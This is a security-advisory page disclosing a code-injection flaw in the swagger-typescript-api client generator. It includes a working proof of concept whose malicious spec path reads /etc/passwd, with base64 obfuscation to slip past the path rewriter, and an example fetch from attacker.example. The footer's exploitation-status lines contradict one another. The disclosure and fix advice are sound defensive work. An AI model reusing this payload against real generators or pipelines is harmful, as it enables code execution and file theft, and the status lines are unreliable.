Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-w284-33mx-6g9v
No affected components available
Summary
swagger-typescript-api interpolates OpenAPI path strings (the keys of the paths object, e.g. /users/{id}) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing ${ … } survives parseRouteName's {x} / :x rewriter verbatim and lands as live JS-template-literal interpolation inside the generated path: \...`` line. Any consumer who calls the affected generated method evaluates the attacker's expression with full importer privileges — file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client.
Details
parseRouteName (src/schema-routes/schema-routes.ts:147-189) preprocesses spec paths by rewriting {x} and :x path-parameter patterns into ${x} JS template-literal interpolations:
const pathParamMatches = (routeName || "").match(
/({[\w[\\\]^`][-_.\w]*})|(:[\w[\\\]^`][-_.\w]*:?)/g,
);
// ...
return fixedRoute.replace(pathParam.$match, `\${${insertion}}`);
The regex only matches { followed by word characters (and a closing }), or : followed by word characters. It does not strip backticks, ${, or backslashes. A spec path containing ${ ATTACKER_EXPRESSION } survives unchanged.
The resulting fixedRoute is passed to the procedure-call template at templates/default/procedure-call.ejs:96 (and the corresponding templates/modular/procedure-call.ejs:96):
path: `<%~ path %>`,
The <%~ %> is Eta's raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling ${…} inside the path becomes a live JS expression evaluated when the method's path template is evaluated — i.e. at every call to the affected method.
Generated method body for a malicious spec path:
evilCall: (params: RequestParams = {}) =>
this.request<void, any>({
path: `/api/${(async () => {
// ATTACKER CODE EVALUATED HERE on every call to api.<...>.evilCall()
// — full Node.js capabilities: dynamic import('node:fs'), child_process,
// network egress, environment access, etc.
})()}/items`,
method: "GET",
...params,
}),
Biome (the codebase's formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly.
Caveat for PoC construction: the path-param regex matches :x, so a literal : followed by a word character inside the spec path gets mangled into ${x}. This affects payloads that need to express node:fs. The workaround used in the PoC is Buffer.from('bm9kZTpmcw==','base64').toString() — base64 contains no :, decodes to 'node:fs' at runtime, and dodges the rewrite entirely.
PoC
Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → call method with stubbed this.request so there is no real network egress → check canary) is added in comments. Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Malicious OpenAPI path (literal string, JSON-encoded in the spec below):
/api/${(async()=>{ try { const m=Buffer.from('bm9kZTpmcw==','base64').toString(); const f=await import(m); const d=f.readFileSync('/etc/passwd','utf8'); f.writeFileSync('/tmp/sta_canary',d); } catch(e){} return 'x'; })()}/items
Minimal payload spec:
{
"openapi": "3.0.0",
"info": { "title": "PathPayloadAPI", "version": "1.0.0" },
"servers": [{ "url": "https://api.example.com" }],
"paths": {
"/api/${(async()=>{try{const m=Buffer.from('bm9kZTpmcw==','base64').toString();const f=await import(m);const d=f.readFileSync('/etc/passwd','utf8');f.writeFileSync('/tmp/sta_canary',d);}catch(e){}return 'x';})()}/items": {
"get": {
"operationId": "evilCall",
"responses": { "200": { "description": "OK" } }
}
}
}
}
Steps:
npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
name: 'Api.ts', output: process.cwd() + '/out',
input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
--tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "
const mod = await import('./out/Api.bundle.mjs');
const api = new mod.Api();
// Stub the request implementation so there is no real network call —
// only the path template literal is evaluated, which is what fires the IIFE.
api.request = async () => ({ ok: true });
const group = api.api;
await group[Object.keys(group)[0]]();
await new Promise(r => setTimeout(r, 300));
"
ls -la /tmp/sta_canary && cat /tmp/sta_canary
Generated out/Api.ts (method body — payload, Biome-formatted):
evilCall: (params: RequestParams = {}) =>
this.request<void, any>({
path: `/api/${(async () => {
try {
const m = Buffer.from("bm9kZTpmcw==", "base64").toString();
const f = await import(m);
const d = f.readFileSync("/etc/passwd", "utf8");
f.writeFileSync("/tmp/sta_canary", d);
} catch (e) {}
return "x";
})()}/items`,
method: "GET",
...params,
}),
The IIFE is a real JavaScript expression inside the path template literal — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed.
Result: after instantiating the generated Api and calling the affected method, /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (path "/api/users/{id}/items") generates path: \/api/users/${id}/items``, the IIFE never appears, and the canary is not written.
Impact
Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).
Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely:
sta generate --url https://attacker.example/openapi.json— a public, third-party, or attacker-hosted spec.- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.
- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
- Any project where a contributor can modify the pinned spec via pull request.
Lifecycle: the injected expression fires per method call — every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both httpClientType: "fetch" (default) and httpClientType: "axios", both default/ and modular/ template sets — any path-bearing operation in the spec is a candidate.
Privilege: the IIFE runs with the full privileges of the calling process — file read/write, network egress, environment access, child-process spawn, etc.
Suggested fix: sanitize the path string after parseRouteName finishes its {x} / :x rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the ${name} interpolations that parseRouteName deliberately introduces — any backtick, ${, or \ outside those deliberate interpolations should be escaped or rejected. Alternatively, change templates/default/procedure-call.ejs:96 (and templates/modular/procedure-call.ejs:96) to stop wrapping path in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data.
Submitted by: Hamza Haroon (thegr1ffyn)
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard